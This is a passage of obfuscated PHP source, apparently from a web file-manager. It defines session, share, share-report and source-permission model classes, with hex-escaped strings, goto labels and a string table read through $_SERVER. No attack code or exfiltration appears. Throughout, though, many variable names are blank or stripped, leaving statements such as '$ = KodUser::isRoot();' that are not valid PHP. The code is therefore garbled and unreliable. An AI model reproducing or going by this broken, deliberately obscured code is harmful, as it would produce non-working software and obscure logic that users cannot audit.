Model($[567])->getSourceList($, $ߥ); $ = KodUser::isRoot(); foreach ($҂ as $ȧ => &$Ȉ) { $Ȉ[$[487]] = $[$Ȉ[$[193]]]; if (!$Ȉ[$[487]] && $Ȉ[$[190]] == self::TYPE_GROUP) { $Ȉ[$[487]] = Action($[568])->pathGroupAuthMake($Ȉ[$[569]]); if (!$Ȉ[$[487]] && !$) { $Ȉ[$[233]] = !1; $Ȉ[$[232]] = !1; } } if ($Ȉ[$[487]]) { $Ȉ[$[233]] = AuthModel::authCheckEdit($Ȉ[$[487]][$[488]]); $Ȉ[$[232]] = AuthModel::authCheckView($Ȉ[$[487]][$[488]]); } $this->groupPathDisplay($Ȉ); } unset($Ȉ); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[508])->get($[570]) != $[91]) { return; } static $Է = false; if (!$Է) { $Ł = Model($[571]); $嬆 = Model($[572]); $Է = $嬆->listData(); $Է = array_to_keyvalue($Է, $[193]); $Ἆ = json_decode(Model($[508])->get($[573]), !0); $Ἆ = array_to_keyvalue($Ἆ, $[475]); foreach ($Է as $٢͏ => $Þ) { $ = $Ἆ[$Þ[$[574]]]; if (!$) { $嬆->remove($Þ[$[475]]); unset($Է[$٢͏]); continue; } $ֳ = $Ł->listData($[$[487]]); if (!$ֳ) { $嬆->remove($Þ[$[475]]); unset($Է[$٢͏]); continue; } $Þ[$[487]] = $ֳ; $Þ[$[575]] = $; $Þ[$[576]] = Model($[577])->getInfoSimpleOuter($Þ[$[527]]); $Է[$٢͏] = $Þ; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $٢͏ => &$Þ) { if (!is_array($Þ[$[487]])) { continue; } if ($Þ[$[190]] != $[578]) { continue; } if (isset($Է[$Þ[$[193]]])) { $˗ = $Է[$Þ[$[193]]]; if (!is_array($Þ[$[539]])) { $Þ[$[539]] = array(); } $Þ[$[539]][$[579]] = $˗[$[574]]; $Þ[$[487]][$[580]] = $˗; $Þ[$[487]][$[581]] = $Þ[$[582]]; $Þ[$[487]][$[583]] = $[91]; if ($˗[$[527]] != $) { $Þ[$[487]][$[488]] = $Þ[$[487]][$[488]] & $˗[$[487]][$[487]]; } continue; } $ד = $this->parentLevelArray($Þ[$[584]]); $۩ = array_reverse($ד); foreach ($۩ as $ => $ڑ) { if (!isset($Է[$ڑ])) { continue; } $˗ = $Է[$ڑ]; $Þ[$[487]][$[580]] = $˗; if ($˗[$[527]] != $) { $Þ[$[487]][$[488]] = $Þ[$[487]][$[488]] & $˗[$[487]][$[487]]; } $ = $[12]; $ = count($ד) - $; for ($Ѐϖ = 0; $Ѐϖ < $; $Ѐϖ++) { if (!isset($[$ד[$Ѐϖ]])) { $ = $[12]; break; } $ = $ . rtrim($[$ד[$Ѐϖ]], $[8]) . $[8]; } $Þ[$[487]][$[581]] = rtrim($, $[8]) . $[8]; break; } } unset($Þ); } public function groupPathDisplay(&$̑) { $םݣ =& $_SERVER[]; if ($̑[$םݣ[190]] != self::TYPE_GROUP) { return; } $Ę = Model($םݣ[585])->getInfo($̑[$םݣ[569]]); $ = $this->parentLevelArray($Ę[$םݣ[584]]); $Ψ = $םݣ[12]; foreach ($ as $č) { $ޡ = Model($םݣ[585])->getInfo($č); $Ψ .= $ޡ[$םݣ[90]][$םݣ[193]] . $םݣ[50]; } $̑[$םݣ[586]] = $Ę[$םݣ[192]]; $̑[$םݣ[587]] = $Ę[$םݣ[584]]; $̑[$םݣ[588]] = $Ę[$םݣ[589]]; $̑[$םݣ[590]] = $Ψ . $Ę[$םݣ[90]][$םݣ[193]]; } protected function _listAppendPath(&$, $ = false) { $چţ =& $_SERVER[]; static $ȟ = array(); $Ѫ = array(); $ = array(); if ($) { return $ȟ; } foreach ($ as &$») { $ = $»[$چţ[193]]; if ($»[$چţ[485]] == $چţ[91] && $»[$چţ[192]] != 0) { $ȟ[$] = $»[$چţ[32]]; } if ($»[$چţ[485]] == $چţ[91] && $»[$چţ[192]] == 0) { $ȟ[$] = $this->_listAppendPathRoot($», array()); } if (isset($[$»[$چţ[584]]])) { continue; } $[$»[$چţ[584]]] = !0; $ؗ = $this->parentLevelArray($»[$چţ[584]]); foreach ($ؗ as $ => $) { if (isset($ȟ[$])) { continue; } if ($ == 0) { $ȟ[$] = $this->_listAppendPathRoot($», $ؗ); } if ($ != 0) { $Ѫ[] = $; } } } unset($»); $Ѫ = array_unique($Ѫ); if (count($Ѫ) > 0) { $Ѩ = array($چţ[491] => array($چţ[492], $Ѫ)); if (count($Ѫ) == 1) { $ = $this->sourceInfo($Ѫ[0]); $ە = is_array($) ? array($) : !1; } else { $ە = $this->field($چţ[591])->where($Ѩ)->select(); } if (!$ە) { $ە = array(); } foreach ($ە as $) { $ȟ[$[$چţ[193]]] = $[$چţ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ۅ = array(); foreach ($ as &$») { $ = $»[$چţ[584]]; $Ƃ = $چţ[12]; if (isset($ۅ[$])) { $Ƃ = $ۅ[$]; } else { $ؗ = $this->parentLevelArray($»[$چţ[584]]); foreach ($ؗ as $ => $) { if (isset($ȟ[$])) { $Ƃ .= $ȟ[$] . $چţ[8]; } } $ۅ[$] = $Ƃ; } $Ƃ .= $»[$چţ[32]]; if ($»[$چţ[485]] == $چţ[91]) { $Ƃ .= $چţ[8]; } $»[$چţ[582]] = str_replace($چţ[592], $چţ[8], $Ƃ); if ($»[$چţ[192]] == $چţ[228]) { $»[$چţ[32]] = trim($ȟ[$»[$چţ[193]]], $چţ[8]); $»[$چţ[582]] = $»[$چţ[32]] . $چţ[8]; } if (intval($»[$چţ[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($», $ؗ, $); } } unset($»); return $; } private function _listAppendPathRecycle(&$̯̬, $ߊ̆, $) { $Ŧ =& $_SERVER[]; if (!in_array($, $ߊ̆) && $̯̬[$Ŧ[193]] != $) { return; } $ǐ = explode($Ŧ[8], trim($̯̬[$Ŧ[582]], $Ŧ[8])); $퇕 = implode($Ŧ[8], array_slice($ǐ, 2)); $̯̬[$Ŧ[582]] = $Ŧ[8] . LNG($Ŧ[593]) . $Ŧ[8] . ltrim($퇕, $Ŧ[8]); $̯̬[$Ŧ[584]] = $Ŧ[594] . implode($Ŧ[50], array_slice($ߊ̆, 1)) . $Ŧ[50]; if ($̯̬[$Ŧ[193]] == $) { $̯̬[$Ŧ[584]] = $Ŧ[594]; $̯̬[$Ŧ[192]] = $Ŧ[228]; $̯̬[$Ŧ[32]] = LNG($Ŧ[593]); } $̯̬[$Ŧ[595]] = $Ŧ[596]; } protected function _listAppendPathRoot(&$, $) { $ح =& $_SERVER[]; static $ = false; $桥 = $ح[12]; if ($[$ح[190]] == self::TYPE_USER) { if ($[$ح[569]] == USER_ID) { $桥 = LNG($ح[597]); if ($ === !1) { $Ѥ = Model($ح[598])->getInfoFull(USER_ID); $ = _get($Ѥ, $ح[599], $ح[12]); } if ($ && $[0] == $ || !$ && $[$ح[193]] == $) { $桥 = LNG($ح[600]); $[$ح[601]] = $ح[602]; } if (!$) { $[$ح[32]] = $桥; } } else { $[$ح[603]] = Model($ح[577])->getInfoSimpleOuter($[$ح[569]]); $桥 = LNG($ح[604]) . $ح[176] . $[$ح[603]][$ح[32]] . $ح[178]; } } else { if ($[$ح[190]] == self::TYPE_GROUP) { $ç = Model($ح[585])->getInfoSimple($[$ح[569]]); $桥 = $ç[$ح[32]]; } else { if ($[$ح[190]] == self::TYPE_SYSTEM) { $桥 = $ح[605]; } } } $桥 = $桥 ? $ح[8] . $桥 . $ح[8] : $ح[8]; return $桥; } protected function _listAppendUser(&$) { $Ҷ =& $_SERVER[]; $ɽ = array_to_keyvalue($, $Ҷ[12], $Ҷ[527]); $ƕ = array_to_keyvalue($, $Ҷ[12], $Ҷ[529]); $Ȑ = array_merge($ɽ, $ƕ); $ = Model($Ҷ[598])->userListInfo($Ȑ); foreach ($ as &$ݴޟ) { $͵ = $ݴޟ[$Ҷ[527]]; $ݴޟ[$Ҷ[527]] = $[$͵] ? $[$͵] : !1; $͵ = $ݴޟ[$Ҷ[529]]; $ݴޟ[$Ҷ[529]] = $[$͵] ? $[$͵] : !1; if (_get($ݴޟ, $Ҷ[606], 0)) { $ꆽ = $GLOBALS[$Ҷ[6]][$Ҷ[92]][$Ҷ[607]]; if ($ݴޟ[$Ҷ[539]][$Ҷ[608]] <= time() - $ꆽ) { $this->metaSet($ݴޟ[$Ҷ[193]], $Ҷ[609], null); $this->metaSet($ݴޟ[$Ҷ[193]], $Ҷ[608], null); unset($ݴޟ[$Ҷ[539]][$Ҷ[609]]); continue; } $ = $ݴޟ[$Ҷ[539]][$Ҷ[609]]; $ݴޟ[$Ҷ[539]][$Ҷ[610]] = Model($Ҷ[598])->getInfoSimpleOuter($); } } unset($ݴޟ); } public function parentLevelArray($⒎) { $ =& $_SERVER[]; $⒎ = explode($[50], trim($⒎, $[50])); return array_remove_value($⒎, $[228]); } public function listAll($) { $ߎ =& $_SERVER[]; $ṗ = $this->sourceInfo($); $ٱ = array($ߎ[611] => array($ߎ[612], $ṗ[$ߎ[584]] . $ . $ߎ[613]), $ߎ[614] => 0); $ּ = $ߎ[615]; $ȿ = "\x4c\x45\106\124\40\x4a\117\x49\x4e\40{$this->tablePrefix}\x69\x6f\x5f\x66\x69\x6c\x65\40\146\151\x6c\x65\x20\x6f\156\40\163\157\x75\x72\x63\x65\x2e\146\151\154\x65\111\104\40\75\40\146\151\154\145\x2e\146\151\154\x65\x49\104"; $ϣ = $this->alias($ߎ[519])->field($ּ)->where($ٱ)->join($ȿ)->select(); $this->_listAppendAuth($ϣ); $this->_listAppendUser($ϣ); $this->_listAppendPath($ϣ); $ϣ = array_to_keyvalue($ϣ, $ߎ[193]); $ۚ = "\57{$ṗ[$ߎ[32]]}\57"; $ۚ = $ۚ == $ߎ[592] ? $ߎ[8] : $ۚ; $ = array(); foreach ($ϣ as $ => $ŝޝ) { $̥ = $this->parentLevelArray($ŝޝ[$ߎ[584]]); array_shift($̥); $ = $ۚ; for ($𰾅 = 0; $𰾅 < count($̥); $𰾅++) { $ .= $ϣ[$̥[$𰾅]][$ߎ[32]] . $ߎ[8]; } $ .= $ŝޝ[$ߎ[32]]; if ($ŝޝ[$ߎ[485]]) { $ .= $ߎ[8]; } $ = array($ߎ[495] => str_replace($ߎ[592], $ߎ[8], str_replace($ߎ[592], $ߎ[8], str_replace($ߎ[592], $ߎ[8], $))), $ߎ[616] => intval($ŝޝ[$ߎ[485]]), $ߎ[617] => intval($ŝޝ[$ߎ[79]]), $ߎ[88] => intval($ŝޝ[$ߎ[88]]), $ߎ[90] => $this->pathInfoFilter($ŝޝ)); if (!$[$ߎ[485]]) { $[$ߎ[541]] = $ŝޝ[$ߎ[541]]; } $[] = $; } $ = array_sort_by($, $ߎ[87]); return $; } } goto Bȥ; aɘ: class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\x65\155\x5f\x73\x65\163\x73\151\x6f\156"; public function get($) { $ =& $_SERVER[]; $ݾ = $this->where(array($[2102] => $))->find(); if (!is_array($ݾ)) { return !1; } return $ݾ[$[171]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[]; $Ï = array($[2102] => $, $[2001] => $, $[2103] => $ + time()); if (Session::get($[2104])) { $Ï[$[1763]] = Session::get($[2104]); } else { $Ï[$[1763]] = 0; } if ($this->get($)) { return $this->where(array($[2102] => $))->save($Ï); } else { return $this->add($Ï, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][2102] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2105] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\150\141\162\145"; protected $dataAuto = array(array("\x6d\x6f\144\151\146\x79\124\x69\155\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164\54\165\x70\x64\141\x74\145", "\146\x75\x6e\x63\164\151\157\x6e"), array("\143\162\x65\141\x74\x65\x54\151\x6d\145", "\x74\151\x6d\x65", "\x69\156\163\x65\162\164", "\x66\x75\156\x63\x74\151\157\x6e"), array("\x6f\160\x74\151\157\156\163", '', "\151\156\163\x65\162\164\54\165\160\144\x61\x74\x65\54\x73\x65\x6c\145\143\164", "\x6a\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $Ø =& $_SERVER[]; $ҟԾ = isset($[0]) ? $[0] : !1; return array($Ø[2106] => array(USER_ID, $Ø[2107]), $Ø[2046] => array($ҟԾ, $Ø[2108])); } protected function listSimple() { $ = array($_SERVER[][1763] => USER_ID); $Ѻ = $this->field($this->fieldList)->where($)->select(); return $Ѻ ? $Ѻ : array(); } protected function getInfo($, $Ͷ = false) { $๋͠ =& $_SERVER[]; if ($Ͷ) { return $this->_getShareInfo(array($๋͠[665] => $)); } $ = $this->cacheFunctionGet($๋͠[2048], $); return $; } public function getInfoByHash($թ) { return $this->_getShareInfo(array($_SERVER[][2109] => $թ)); } public function getInfoByPath($) { $ =& $_SERVER[]; $ˢ = array($[1763] => USER_ID, $[193] => $); return $this->_getShareInfo($ˢ); } public function getInfoBySourcePath($) { $ =& $_SERVER[]; $© = array($[1763] => USER_ID, $[1250] => $); return $this->_getShareInfo($©); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[665] => $[$[665]]); $ = $[2110]; $ײ = Model($[666])->order($[475])->field($)->where($)->select(); if ($[$[193]] == $[228]) { $[$[90]] = IO::info($[$[1250]]); } else { $[$[90]] = Model($[1411])->pathInfo($[$[193]]); } $[$[2111]] = $ײ; return $; } protected function getInfoAuth($⸽) { $ =& $_SERVER[]; $ = $this->getInfo($⸽); if ($[$[1763]] == USER_ID) { $[$[487]] = $[$[90]][$[487]]; } else { $[$[487]] = Model($[567])->authMake($[$[2111]]); } return $; } protected function listData($ۡ蘥 = null, $Ђ = 300) { $ҥ =& $_SERVER[]; $៩ = array(array($ҥ[562] => array($ҥ[1083], 0), $ҥ[663] => array($ҥ[1083], 0), $ҥ[2112] => $ҥ[2064])); if ($ۡ蘥 == $ҥ[2113]) { $៩ = array($ҥ[562] => 1); } else { if ($ۡ蘥 == $ҥ[1235]) { $៩ = array($ҥ[663] => 1); } } $៩[$ҥ[1763]] = USER_ID; $䅓 = $this->where($៩)->selectPage($Ђ); return $䅓; } protected function listToMe($ = 300) { $֛ =& $_SERVER[]; $َϮ = Model($֛[2114])->userGroupParents(USER_ID); $ԥ = array($֛[648] => SourceModel::TYPE_USER, $֛[569] => USER_ID); if ($َϮ) { $ԥ = array(array($֛[648] => SourceModel::TYPE_USER, $֛[569] => USER_ID), array($֛[648] => SourceModel::TYPE_GROUP, $֛[569] => array($֛[7], $َϮ)), $֛[2112] => $֛[2064]); } $͑ = Model($֛[666])->where($ԥ)->selectPage($); $ = array_to_keyvalue_group($͑[$֛[445]], $֛[665]); if (!$) { return $͑; } $̷ = $֛[2115]; $ԥ = array($֛[665] => array($֛[492], array_keys($)), $֛[1763] => array($֛[1085], $֛[228])); $뀋 = $this->field($̷)->where($ԥ)->select(); foreach ($뀋 as $ => &$) { $[$֛[2111]] = $[$[$֛[665]]]; } unset($); $ޡޒ = array($֛[2116] => $뀋, $֛[2117] => $͑[$֛[442]]); return $ޡޒ; } protected function shareAdd($ۼ, $) { $ւ =& $_SERVER[]; $ = $this->_addShareData($ۼ, $); if (!empty($[$ւ[2118]])) { $this->_shareAuthSet($, $[$ւ[2118]]); } $this->shareEventAdd($ۼ, $, $ւ[2119]); return $; } protected function shareAddSystem($ƴ, $䙂) { $ʬ =& $_SERVER[]; $ = $this->_addShareData($ƴ, $䙂, $ʬ[191]); $this->_shareAuthSet($, $䙂[$ʬ[2118]]); return $; } private function shareEventAdd($ߑ, $ź, $ߏ = "\141\x64\144") { $懣 =& $_SERVER[]; if (!$ߑ || $ߑ == $懣[228]) { return; } if ($ߏ == $懣[2119]) { if ($ź[$懣[562]] == $懣[91]) { Model($懣[633])->eventShare($ߑ, $懣[2120]); } if ($ź[$懣[663]] == $懣[91]) { Model($懣[633])->eventShare($ߑ, $懣[2121]); } return; } $ȭ߅ = $this->getInfoByPath($ߑ); $ܪ = $懣[2122]; if ($ȭ߅[$懣[562]] == $懣[228] && $ź[$懣[562]] == $懣[91]) { $ܪ = $懣[2120]; } if ($ȭ߅[$懣[562]] == $懣[91] && $ź[$懣[562]] == $懣[228]) { $ܪ = $懣[2123]; } if ($ȭ߅[$懣[663]] == $懣[228] && $ź[$懣[663]] == $懣[91]) { $ܪ = $懣[2121]; } if ($ȭ߅[$懣[663]] == $懣[91] && $ź[$懣[663]] == $懣[228]) { $ܪ = $懣[2124]; } Model($懣[633])->eventShare($ߑ, $ܪ); return; } private function _addShareData($, $ = array(), $ـ = false) { $ő =& $_SERVER[]; $ꨦ = $ـ == $ő[191] ? 0 : USER_ID; $ڇ = array($ő[491] => $, $ő[1754] => $ꨦ); if ($ == 0) { $ڇ = array($ő[2125] => $[$ő[1250]], $ő[1754] => $ꨦ); } if ($ = $this->where($ڇ)->find()) { return $[$ő[665]]; } if ($ == 0) { $ = array($ő[32] => get_path_this($[$ő[87]])); } else { $ = Model($ő[899])->sourceInfo($); if (!$) { return !1; } } if (!$[$ő[1652]]) { $[$ő[1652]] = $[$ő[32]]; } $Լ = array($ő[1754] => $ꨦ, $ő[491] => $, $ő[1652] => $ő[12], $ő[562] => 0, $ő[663] => 0, $ő[1250] => $ő[12], $ő[383] => $ő[12], $ő[960] => $ő[12], $ő[2126] => 0, $ő[2127] => 0, $ő[828] => 0, $ő[2128] => $ő[12], $ő[2109] => $ő[12]); $ = explode($ő[50], $ő[2129]); foreach ($ as $҉닧) { if (!isset($[$҉닧])) { continue; } $Լ[$҉닧] = $[$҉닧]; } $ = $this->add($Լ); $ƕ = array($ő[2109] => short_id($)); $this->where(array($ő[2130] => $))->save($ƕ); return $; } private function _shareAuthSet($, $) { $촩 =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($촩[2074]); $->where(array($촩[665] => $))->delete(); $ = array(); foreach ($ as $܋) { $ҝ䨵 = SourceModel::TYPE_USER; if ($܋[$촩[190]] == SourceModel::TYPE_GROUP) { $ҝ䨵 = SourceModel::TYPE_GROUP; } $Ҁ = array($촩[665] => $, $촩[190] => $ҝ䨵, $촩[569] => intval($܋[$촩[569]]), $촩[2070] => 0, $촩[2131] => -1); if ($܋[$촩[2070]]) { $Ҁ[$촩[2070]] = $܋[$촩[2070]]; } else { if ($܋[$촩[2131]]) { $Ҁ[$촩[2131]] = $܋[$촩[2131]]; } } $[] = $Ҁ; } return $->addAll($, array(), !0); } public function numViewAdd($ۢ) { $ =& $_SERVER[]; $ = array($[2130] => $ۢ); $this->where($)->setAdd($[2126]); } public function numDownloadAdd($μ) { $ =& $_SERVER[]; $ = array($[2130] => $μ); $this->where($)->setAdd($[2127]); } protected function shareEdit($ױ, $깳) { $ω =& $_SERVER[]; $ˈ = $this->getInfo($ױ); if (!$ˈ) { return !1; } $this->_checkLinkShare($깳, $ˈ); $ͻ = array(); $ = explode($ω[50], $ω[2132]); foreach ($ as $) { if (!array_key_exists($, $깳)) { continue; } $ͻ[$] = $깳[$]; } $this->shareEventAdd($ˈ[$ω[193]], $깳, $ω[1931]); $this->where(array($ω[2130] => $ױ))->save($ͻ); if (isset($깳[$ω[2118]])) { $this->_shareAuthSet($ױ, $깳[$ω[2118]]); } return !0; } private function _checkLinkShare($˹, $) { $ْ =& $_SERVER[]; if ($˹[$ْ[562]] != $ْ[91]) { return; } $ = $[$ْ[90]][$ْ[193]]; if ($[$ْ[90]][$ْ[33]] != $ْ[230]) { $բ = $this->_folderReport($); if (!$բ) { return; } show_json(LNG($ْ[2133]) . $ْ[2134] . $բ, !1); } $崇 = Model($ْ[899])->fileInfoGet($[$ْ[90]][$ْ[193]]); if (!$崇) { return; } $ܫ = $this->shareFileMeta($崇[$ْ[541]]); if (isset($ܫ[$ْ[450]]) && $ܫ[$ْ[450]] == $ْ[91]) { show_json(LNG($ْ[2135]), !1); } } private function _folderReport($) { $Ѷܝ =& $_SERVER[]; $ض = array($Ѷܝ[541] => array($Ѷܝ[1083], 0), $Ѷܝ[817] => 3); $ = Model($Ѷܝ[2136])->where($ض)->field($Ѷܝ[541])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $Ѷܝ[12], $Ѷܝ[541]); $ = $Ѷܝ[50] . $ . $Ѷܝ[50]; $ض = array($Ѷܝ[541] => array($Ѷܝ[7], $), $Ѷܝ[584] => array($Ѷܝ[459], "\x25{$}\45"), $Ѷܝ[505] => 0); $® = Model($Ѷܝ[899])->where($ض)->field($Ѷܝ[2137])->find(); if (!$®) { return !1; } $ = substr($®[$Ѷܝ[584]], strpos($®[$Ѷܝ[584]], $)); $ض = array($Ѷܝ[193] => array($Ѷܝ[7], trim($, $Ѷܝ[50]))); $ = Model($Ѷܝ[899])->where($ض)->field($Ѷܝ[32])->select(); $̼ = array_to_keyvalue($, $Ѷܝ[12], $Ѷܝ[32]); $̼[] = $®[$Ѷܝ[32]]; return implode($Ѷܝ[8], $̼); } protected function remove($褖) { $Ծ =& $_SERVER[]; $ᱟ = is_array($褖) ? $褖 : array($褖); for ($ = 0; $ < count($ᱟ); $++) { $ = $this->getInfo($ᱟ[$]); if ($[$Ծ[663]] == $Ծ[91]) { Model($Ծ[633])->eventShare($[$Ծ[193]], $Ծ[2124]); } if ($[$Ծ[562]] == $Ծ[91]) { Model($Ծ[633])->eventShare($[$Ծ[193]], $Ծ[2123]); } } if (is_array($褖)) { $褖 = array($Ծ[7], $褖); } $ = array($Ծ[665] => $褖); $د = $this->where($)->delete(); if ($د) { Model($Ծ[666])->where(array($Ծ[665] => $褖))->delete(); } return $د; } protected function removeBySource($ˀ) { $ح =& $_SERVER[]; $Ė = array($ح[491] => array($ح[492], $ˀ)); $ղҾ = $this->field($ح[665])->where($Ė)->select(); $ղҾ = array_to_keyvalue($ղҾ, $ح[12], $ح[665]); if (!$ղҾ) { return; } $Ė = array($ح[2130] => array($ح[492], $ղҾ)); $this->where($Ė)->delete(); Model($ح[666])->where($Ė)->delete(); } public function listAll($ά) { $Ӓ =& $_SERVER[]; $ = array(); if ($ά[$Ӓ[1763]]) { $[$Ӓ[1763]] = $ά[$Ӓ[1763]]; } if ($ά[$Ӓ[827]]) { $ = $ά[$Ӓ[828]] ? $ά[$Ӓ[828]] : strtotime(date($Ӓ[2138])); $[$Ӓ[231]] = array($Ӓ[409], array($ά[$Ӓ[827]], $)); } if ($ά[$Ӓ[33]]) { $[$ά[$Ӓ[33]]] = 1; } else { $[] = array($Ӓ[562] => array($Ӓ[1083], 0), $Ӓ[663] => array($Ӓ[1083], 0), $Ӓ[2112] => $Ӓ[2064]); } if ($ά[$Ӓ[2060]]) { $[] = array($Ӓ[2109] => $ά[$Ӓ[2060]], $Ӓ[1652] => array($Ӓ[459], "\x25{$ά[$Ӓ[2060]]}\x25"), $Ӓ[2112] => $Ӓ[2064]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$Ӓ[445]])) { return array(); } $this->_listDataApply($[$Ӓ[445]]); return $; } public function listDataApply($ݱ) { $this->_listDataApply($ݱ); return $ݱ; } private function _listDataApply(&$ߕ) { $ =& $_SERVER[]; $ば = array_to_keyvalue($ߕ, $[12], $[1763]); $͛ = Model($[598])->userListInfo(array_unique($ば)); $ = array_to_keyvalue($ߕ, $[12], $[193]); $֫ = Model($[899])->sourceListInfo($, !0); foreach ($ߕ as $ => &$о) { $ = $о[$[1763]]; $о[$[2139]] = $͛[$] ? $͛[$] : !1; $Դ = $о[$[193]]; $о[$[90]] = $֫[$Դ] ? $֫[$Դ] : !1; if ($о[$[90]][$[505]] == $[91]) { unset($ߕ[$]); } if ($о[$[90]] != $[228] && !$о[$[90]]) { unset($ߕ[$]); } } unset($о); $ߕ = array_values($ߕ); } private function _makeOrder($ύ = '') { $θ =& $_SERVER[]; $̋Ȓ = array($θ[231], $θ[828], $θ[2126], $θ[2127]); $澑 = array($θ[523] => $θ[524], $θ[525] => $θ[526]); $ = Input::get($θ[530], $θ[7], $θ[497], $̋Ȓ); $艁 = Input::get($θ[531], $θ[7], $θ[2140], array($θ[2057], $θ[525])); $艁 = $澑[$艁]; $ύ = $ύ . "{$}\40{$艁}"; return $this->order($ύ); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[665] => $[$[665]], $[1763] => USER_ID); if (Model($[2136])->where($)->find()) { return !1; } $ = array($[665] => $[$[665]], $[1652] => $[$[1652]], $[193] => $[$[193]], $[541] => $[$[541]], $[1763] => USER_ID, $[33] => $[$[33]], $[526] => $[$[526]]); return Model($[2136])->add($); } public function reportList($¶ڡ) { $ =& $_SERVER[]; $𓁐 = array(); if ($¶ڡ[$[827]]) { $ = $¶ڡ[$[828]] ? $¶ڡ[$[828]] : strtotime(date($[2138])); $𓁐[$[231]] = array($[409], array($¶ڡ[$[827]], $)); } if (isset($¶ڡ[$[33]]) && in_array($¶ڡ[$[33]], array($[91], $[510], $[2141], $[2142], $[2143]))) { $𓁐[$[33]] = $¶ڡ[$[33]]; } if (isset($¶ڡ[$[817]]) && in_array($¶ڡ[$[817]], array($[228], $[91], $[510], $[2141]))) { $𓁐[$[817]] = $¶ڡ[$[817]]; } $Ȼ = Input::get($[531], $[7], $[2140], array($[2057], $[525])); $ڽ = array($[523] => $[524], $[525] => $[526]); $݃ = $[2144] . $ڽ[$Ȼ]; $Ј = Model($[2136])->where($𓁐)->order($݃)->selectPage(20); if (empty($Ј[$[445]])) { return array(); } $˺ = array_to_keyvalue_group($Ј[$[445]], $[817], $[665]); if (!empty($˺[0])) { $¶ڡ = $˺[0]; $𓁐 = array($[665] => array($[7], $¶ڡ)); $ = $this->where($𓁐)->field($[665])->select(); $ = array_to_keyvalue($, $[12], $[665]); $ = array_diff($¶ڡ, $); if (!empty($)) { foreach ($Ј[$[445]] as $ => $ٓ) { if (in_array($ٓ[$[665]], $)) { unset($Ј[$[445]][$]); } } } } $this->_listDataApply($Ј[$[445]]); return $Ј; } public function reportStatus($գ) { $ڨ =& $_SERVER[]; $ӧ = array($ڨ[475] => $գ[$ڨ[475]]); $ = Model($ڨ[2136])->where($ӧ)->field($ڨ[2145])->find(); if (!$) { return !1; } $м = array($ڨ[817] => $գ[$ڨ[817]]); if ($գ[$ڨ[817]] == $ڨ[2141] && $[$ڨ[817]] == $ڨ[2141]) { $м[$ڨ[817]] = 0; } $ُ = Model($ڨ[2136])->where($ӧ)->save($м); if ($գ[$ڨ[817]] == $ڨ[510]) { if ($[$ڨ[541]] != $ڨ[228] && $this->shareFileMeta($[$ڨ[541]])) { $this->shareFileMeta($[$ڨ[541]], 0); } $this->remove($[$ڨ[665]]); return !0; } if ($ُ && $գ[$ڨ[817]] == $ڨ[2141]) { $ = $м[$ڨ[817]] == $ڨ[2141] ? 1 : 0; $this->shareFileMeta($[$ڨ[541]], $); $this->removeByFile($[$ڨ[541]]); } return $ُ; } private function removeByFile($) { $ =& $_SERVER[]; $ǔ = Model($[899])->where(array($[541] => $))->field($[193])->select(); $ = array_to_keyvalue($ǔ, $[12], $[193]); $݆ = array($[193] => array($[7], $), $[562] => 1); $ǔ = $this->where($݆)->field($[665])->select(); if (empty($ǔ)) { return; } $؞ = array_to_keyvalue($ǔ, $[12], $[665]); $this->remove($؞); } private function shareFileMeta($ؼ, $ǖ = null) { $ͅ =& $_SERVER[]; $« = array($ͅ[541] => $ؼ, $ͅ[97] => $ͅ[2146]); if (is_null($ǖ)) { return Model($ͅ[2147])->where($«)->find(); } $«[$ͅ[450]] = $ǖ; Model($ͅ[2147])->add($«, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\165\x72\143\x65\137\x61\165\x74\x68"; public function getAuth($ï) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($ï); $ = array(); $茻 = array(); $ = 2 << 25; foreach ($ as $̕) { $ = Model($[571])->listData($̕[$[2070]]); if (!$) { continue; } $[] = $̕; $ɋ = 0; if ($̕[$[190]] == SourceModel::TYPE_GROUP) { $ɋ = $ * 2; } if ($̕[$[190]] == SourceModel::TYPE_USER) { $ɋ = $; } if ($̕[$[190]] == SourceModel::TYPE_USER && $̕[$[569]] == $[228]) { $ɋ = 0; } $茻[] = $[$[487]] + $ɋ; } array_multisort($茻, SORT_DESC, $); return $; } public function sourceAuthSelect($ؒ) { $ŷ =& $_SERVER[]; static $ = array(); $½װ = is_array($ؒ) ? !1 : !0; if ($½װ) { $ؒ = array($ؒ); } $ = array(); foreach ($ؒ as $ś) { if (isset($[$ś])) { $[$ś] = $[$ś]; } } if (count($) == count($ؒ)) { return $½װ ? $[$ؒ[0]] : $; } $욐 = $ŷ[2148]; $콌 = array($ŷ[193] => array($ŷ[7], $ؒ)); $ = $this->field($욐)->order($ŷ[475])->where($콌)->select(); $ = array_to_keyvalue_group($, $ŷ[193]); foreach ($ؒ as $ś) { $[$ś] = $[$ś] ? $[$ś] : array(); } if ($½װ) { return $; } return $; } public function setAuth($, $å) { $聓 =& $_SERVER[]; $ַ = Model($聓[1411])->sourceInfo($); if (!$ַ) { return !1; } if ($ַ[$聓[190]] != SourceModel::TYPE_GROUP) { return !1; } $ޫ = 1; $簢 = $ַ[$聓[569]]; if ($簢 != $ޫ) { $Ѷ = array($聓[1962] => $簢); $ = Model($聓[2056])->field($聓[1763])->where($Ѷ)->select(); $ = array_to_keyvalue($, $聓[12], $聓[1763]); } $җ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($å as $㞿) { if (!in_array($㞿[$聓[190]], $җ)) { show_json(LNG($聓[2149]), !1); } if ($簢 